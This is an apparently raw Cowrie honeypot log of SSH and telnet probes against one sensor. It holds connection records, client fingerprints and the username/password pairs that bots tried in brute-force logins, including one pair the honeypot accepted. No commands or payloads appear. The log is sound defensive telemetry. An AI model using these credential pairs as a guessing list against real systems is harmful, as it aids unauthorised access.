{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.695707Z","src_ip":"152.32.238.146","session":"00c48c34dff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:06.776278Z","src_ip":"152.32.238.146","session":"00c48c34dff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27536,"dst_ip":"159.203.135.109","dst_port":22,"session":"2739a1021fa9","protocol":"ssh","message":"New connection: 194.59.206.2:27536 (159.203.135.109:22) [session: 2739a1021fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.166931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.171254Z","src_ip":"194.59.206.2","session":"2739a1021fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.261834Z","src_ip":"194.59.206.2","session":"2739a1021fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.358050Z","src_ip":"194.59.206.2","session":"2739a1021fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.793323Z","src_ip":"152.32.238.146","session":"00c48c34dff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":51988,"dst_ip":"10.17.0.5","dst_port":22,"session":"7826ba9e9515","protocol":"ssh","message":"New connection: 152.32.238.146:51988 (10.17.0.5:22) [session: 7826ba9e9515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.799393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.808810Z","src_ip":"152.32.238.146","session":"7826ba9e9515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.819345Z","src_ip":"152.32.238.146","session":"7826ba9e9515","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.893219Z","src_ip":"152.32.238.146","session":"7826ba9e9515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.913906Z","src_ip":"152.32.238.146","session":"80414af5c487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:07.920651Z","src_ip":"152.32.238.146","session":"7826ba9e9515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42170,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e984e61cab","protocol":"telnet","message":"New connection: 104.245.105.2:42170 (10.17.0.5:23) [session: f6e984e61cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:13.758406Z"}
{"eventid":"cowrie.session.closed","duration":50.88348436355591,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:17.355690Z","src_ip":"20.123.41.163","session":"e59a9858ab8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58785390853882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:25.136101Z","src_ip":"104.245.105.2","session":"f8e87d8887d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":51064,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc91adeebf4","protocol":"ssh","message":"New connection: 143.64.168.136:51064 (10.17.0.5:22) [session: adc91adeebf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:26.130729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:26.135789Z","src_ip":"143.64.168.136","session":"adc91adeebf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:27.403198Z","src_ip":"143.64.168.136","session":"adc91adeebf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.854453563690186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:29.606861Z","src_ip":"104.245.105.2","session":"c9c3c2994ac4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":40066,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6f4c32dfe5a","protocol":"ssh","message":"New connection: 156.251.179.157:40066 (10.17.0.5:22) [session: c6f4c32dfe5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:32.519921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:32.524563Z","src_ip":"156.251.179.157","session":"c6f4c32dfe5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:32.938857Z","src_ip":"156.251.179.157","session":"c6f4c32dfe5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":55640,"dst_ip":"10.17.0.5","dst_port":22,"session":"00f85e7ca844","protocol":"ssh","message":"New connection: 46.24.47.94:55640 (10.17.0.5:22) [session: 00f85e7ca844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:35.742095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:35.747158Z","src_ip":"46.24.47.94","session":"00f85e7ca844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:35.852439Z","src_ip":"46.24.47.94","session":"00f85e7ca844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:36.302247Z","src_ip":"46.24.47.94","session":"00f85e7ca844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:37.412063Z","src_ip":"46.24.47.94","session":"00f85e7ca844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.211.125.105","src_port":44996,"dst_ip":"159.203.135.109","dst_port":22,"session":"7924d422182b","protocol":"ssh","message":"New connection: 171.211.125.105:44996 (159.203.135.109:22) [session: 7924d422182b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:40.721211Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:40.973689Z","src_ip":"171.211.125.105","session":"7924d422182b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":36222,"dst_ip":"10.17.0.5","dst_port":22,"session":"e376d3e5a437","protocol":"ssh","message":"New connection: 45.144.233.139:36222 (10.17.0.5:22) [session: e376d3e5a437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:41.325450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:41.343464Z","src_ip":"45.144.233.139","session":"e376d3e5a437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:41.434420Z","src_ip":"45.144.233.139","session":"e376d3e5a437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saifalla","message":"login attempt [admin/saifalla] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:41.770731Z","src_ip":"45.144.233.139","session":"e376d3e5a437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:42.861523Z","src_ip":"45.144.233.139","session":"e376d3e5a437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1","message":"login attempt [root/admin@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:43.189576Z","src_ip":"156.251.179.157","session":"c6f4c32dfe5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.54356074333191,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:45.301830Z","src_ip":"104.245.105.2","session":"f6e984e61cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":59712,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f48a28e235","protocol":"ssh","message":"New connection: 103.143.231.102:59712 (10.17.0.5:22) [session: 13f48a28e235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:46.672394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:46.681460Z","src_ip":"103.143.231.102","session":"13f48a28e235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:46.753515Z","src_ip":"103.143.231.102","session":"13f48a28e235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX!QAZ","message":"login attempt [ubuntu/1qaz@WSX!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:47.070534Z","src_ip":"103.143.231.102","session":"13f48a28e235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:48.145072Z","src_ip":"103.143.231.102","session":"13f48a28e235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":52084,"dst_ip":"10.17.0.5","dst_port":22,"session":"02307c8f427f","protocol":"ssh","message":"New connection: 152.32.238.146:52084 (10.17.0.5:22) [session: 02307c8f427f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:48.943488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:22:48.952629Z","src_ip":"152.32.238.146","session":"02307c8f427f","protocol":"ssh"}
